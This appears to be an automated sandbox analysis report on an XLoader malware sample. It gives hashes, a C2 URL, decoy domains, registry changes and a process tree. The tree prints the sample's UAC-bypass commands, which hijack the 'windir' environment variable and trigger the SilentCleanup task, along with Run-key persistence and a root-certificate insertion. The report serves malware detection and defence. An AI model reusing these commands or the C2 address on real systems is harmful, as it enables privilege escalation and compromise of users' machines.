Analysis
- max time kernel
151s - max time network
149s - platform
windows10_x64 - resource
win10-en-20211104 - submitted
22/11/2021, 12:03
Static task
static1
Behavioral task
behavioral1
Sample
7a35479eaff4fc34625ebc35787150be.exe
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
7a35479eaff4fc34625ebc35787150be.exe
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
General
- Target 7a35479eaff4fc34625ebc35787150be.exe
- Size 1.0MB
- Sample211122-n72bxsade2
- SHA256 bfbe11d6ffb3c82c59ac2cf85176583ff2ea5449d926584a59181286611f48f3
- MD5 7a35479eaff4fc34625ebc35787150be
- SHA1 519ece99fbbab91367f0b57a6e44cdb86501c3ee
- SHA512 4e9befc36aec9836b26dee512b5a86b4ad9b1a9ba89424cdf693ad5b1377ec36799ebb35aff0e5794598a6142490bcb597852aab4891da5ff01d5ac48000ad3b
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Family
-
xloader
Version
-
2.5
Campaign
-
s9m3
C2
-
http://www.zhhctax.com/s9m3/
Decoy
-
the989project.com
-
freshmomrecipes.com
-
meesamila.com
-
pedradellamp.com
-
capefearvalleyjobs.com
-
active-liposomal.com
-
joungla.com
-
victorrialand.com
-
mrleighmcgill.com
-
carrollcountybird.club
-
bvnqst.website
-
smartbeagles.store
-
johnjwelsh.com
-
dustyscleaning.services
-
ian80.com
-
thrive-naturals.com
-
tausend-euro.info
-
dgwb6.com
-
ecran-thermique.com
-
enchantedeventsnh.com
-
businesslyf.com
-
srktuznsnimg.mobi
-
1009ndaytona.com
-
xn--sargelinemlak-59b.com
-
wxaipuer.com
-
hpsapgroup.com
-
hybridtechgroup.com
-
worldcupa.com
-
atomiccharmworks.com
-
1kb3ds.com
-
1237023albertaltd.com
-
onlylands.icu
-
feastfromtheeast.biz
-
ytaolake.com
-
osvfbf.com
-
sonheimstrategy.com
-
chainmio-top.xyz
-
ivdripspace.com
-
thephotoboothlady.net
-
bake8teen.com
-
callahaninsurancegroup.com
-
campchrome.com
-
flipyng.com
-
smartcapitalpay.online
-
hatailegaal.quest
-
mietkarussell.com
-
genetest.today
-
boutique503.com
-
artizanmark.com
-
927341.com
-
fontstyleguru.com
-
jcreationsandantiques.net
-
independenceimaging.online
-
dbitattoo.com
-
infinityflighttraining.net
-
superdrawme.com
-
9929299.com
-
bellsbay.com
-
letsmovelincs.com
-
beqa.club
-
hummuskitchennyc.com
-
7890174.com
-
stichmarketing.com
-
rjuj.space
Signatures
- Xloader Payload 3 IoCs
resource yara_rule behavioral2/memory/3696-120-0x0000000000000000-mapping.dmp xloader behavioral2/memory/3696-129-0x0000000072480000-0x00000000724A9000-memory.dmp xloader behavioral2/memory/2864-136-0x00000000032E0000-0x0000000003309000-memory.dmp xloader - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Zpgmyztc = "C:\\Users\\Public\\Libraries\\Zpgmyztc\\ctzymgpZ.url" 7a35479eaff4fc34625ebc35787150be.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3696 set thread context of 1920 3696 logagent.exe 10 PID 2864 set thread context of 1920 2864 wlanext.exe 10 - Modifies registry key 1 TTPs 3 IoCs
pid Process 3972 reg.exe 1764 reg.exe 312 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 7a35479eaff4fc34625ebc35787150be.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 7a35479eaff4fc34625ebc35787150be.exe - Suspicious behavior: EnumeratesProcesses 58 IoCs
pid Process 3696 logagent.exe 3696 logagent.exe 3696 logagent.exe 3696 logagent.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe 2864 wlanext.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1920 Explorer.EXE - Suspicious behavior: MapViewOfSection 5 IoCs
pid Process 3696 logagent.exe 3696 logagent.exe 3696 logagent.exe 2864 wlanext.exe 2864 wlanext.exe - Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 3696 logagent.exe Token: SeDebugPrivilege 2864 wlanext.exe Token: SeShutdownPrivilege 1920 Explorer.EXE Token: SeCreatePagefilePrivilege 1920 Explorer.EXE Token: SeShutdownPrivilege 1920 Explorer.EXE Token: SeCreatePagefilePrivilege 1920 Explorer.EXE Token: SeShutdownPrivilege 1920 Explorer.EXE Token: SeCreatePagefilePrivilege 1920 Explorer.EXE - Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 2728 wrote to memory of 3696 2728 7a35479eaff4fc34625ebc35787150be.exe 69 PID 2728 wrote to memory of 3696 2728 7a35479eaff4fc34625ebc35787150be.exe 69 PID 2728 wrote to memory of 3696 2728 7a35479eaff4fc34625ebc35787150be.exe 69 PID 2728 wrote to memory of 3696 2728 7a35479eaff4fc34625ebc35787150be.exe 69 PID 2728 wrote to memory of 3696 2728 7a35479eaff4fc34625ebc35787150be.exe 69 PID 2728 wrote to memory of 3696 2728 7a35479eaff4fc34625ebc35787150be.exe 69 PID 2728 wrote to memory of 1984 2728 7a35479eaff4fc34625ebc35787150be.exe 70 PID 2728 wrote to memory of 1984 2728 7a35479eaff4fc34625ebc35787150be.exe 70 PID 2728 wrote to memory of 1984 2728 7a35479eaff4fc34625ebc35787150be.exe 70 PID 1984 wrote to memory of 400 1984 cmd.exe 72 PID 1984 wrote to memory of 400 1984 cmd.exe 72 PID 1984 wrote to memory of 400 1984 cmd.exe 72 PID 400 wrote to memory of 312 400 cmd.exe 74 PID 400 wrote to memory of 312 400 cmd.exe 74 PID 400 wrote to memory of 312 400 cmd.exe 74 PID 400 wrote to memory of 3972 400 cmd.exe 75 PID 400 wrote to memory of 3972 400 cmd.exe 75 PID 400 wrote to memory of 3972 400 cmd.exe 75 PID 400 wrote to memory of 3656 400 cmd.exe 76 PID 400 wrote to memory of 3656 400 cmd.exe 76 PID 400 wrote to memory of 3656 400 cmd.exe 76 PID 1920 wrote to memory of 2864 1920 Explorer.EXE 77 PID 1920 wrote to memory of 2864 1920 Explorer.EXE 77 PID 1920 wrote to memory of 2864 1920 Explorer.EXE 77 PID 2728 wrote to memory of 896 2728 7a35479eaff4fc34625ebc35787150be.exe 78 PID 2728 wrote to memory of 896 2728 7a35479eaff4fc34625ebc35787150be.exe 78 PID 2728 wrote to memory of 896 2728 7a35479eaff4fc34625ebc35787150be.exe 78 PID 896 wrote to memory of 1764 896 cmd.exe 80 PID 896 wrote to memory of 1764 896 cmd.exe 80 PID 896 wrote to memory of 1764 896 cmd.exe 80
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Users\Admin\AppData\Local\Temp\7a35479eaff4fc34625ebc35787150be.exe"C:\Users\Admin\AppData\Local\Temp\7a35479eaff4fc34625ebc35787150be.exe"2⤵
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\logagent.exeC:\Windows\System32\logagent.exe3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:3696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat4⤵
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f5⤵
- Modifies registry key
PID:312
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "5⤵
- Modifies registry key
PID:3972
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I5⤵PID:3656
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1764
-
-
-
-
C:\Windows\SysWOW64\wlanext.exe"C:\Windows\SysWOW64\wlanext.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:2864
-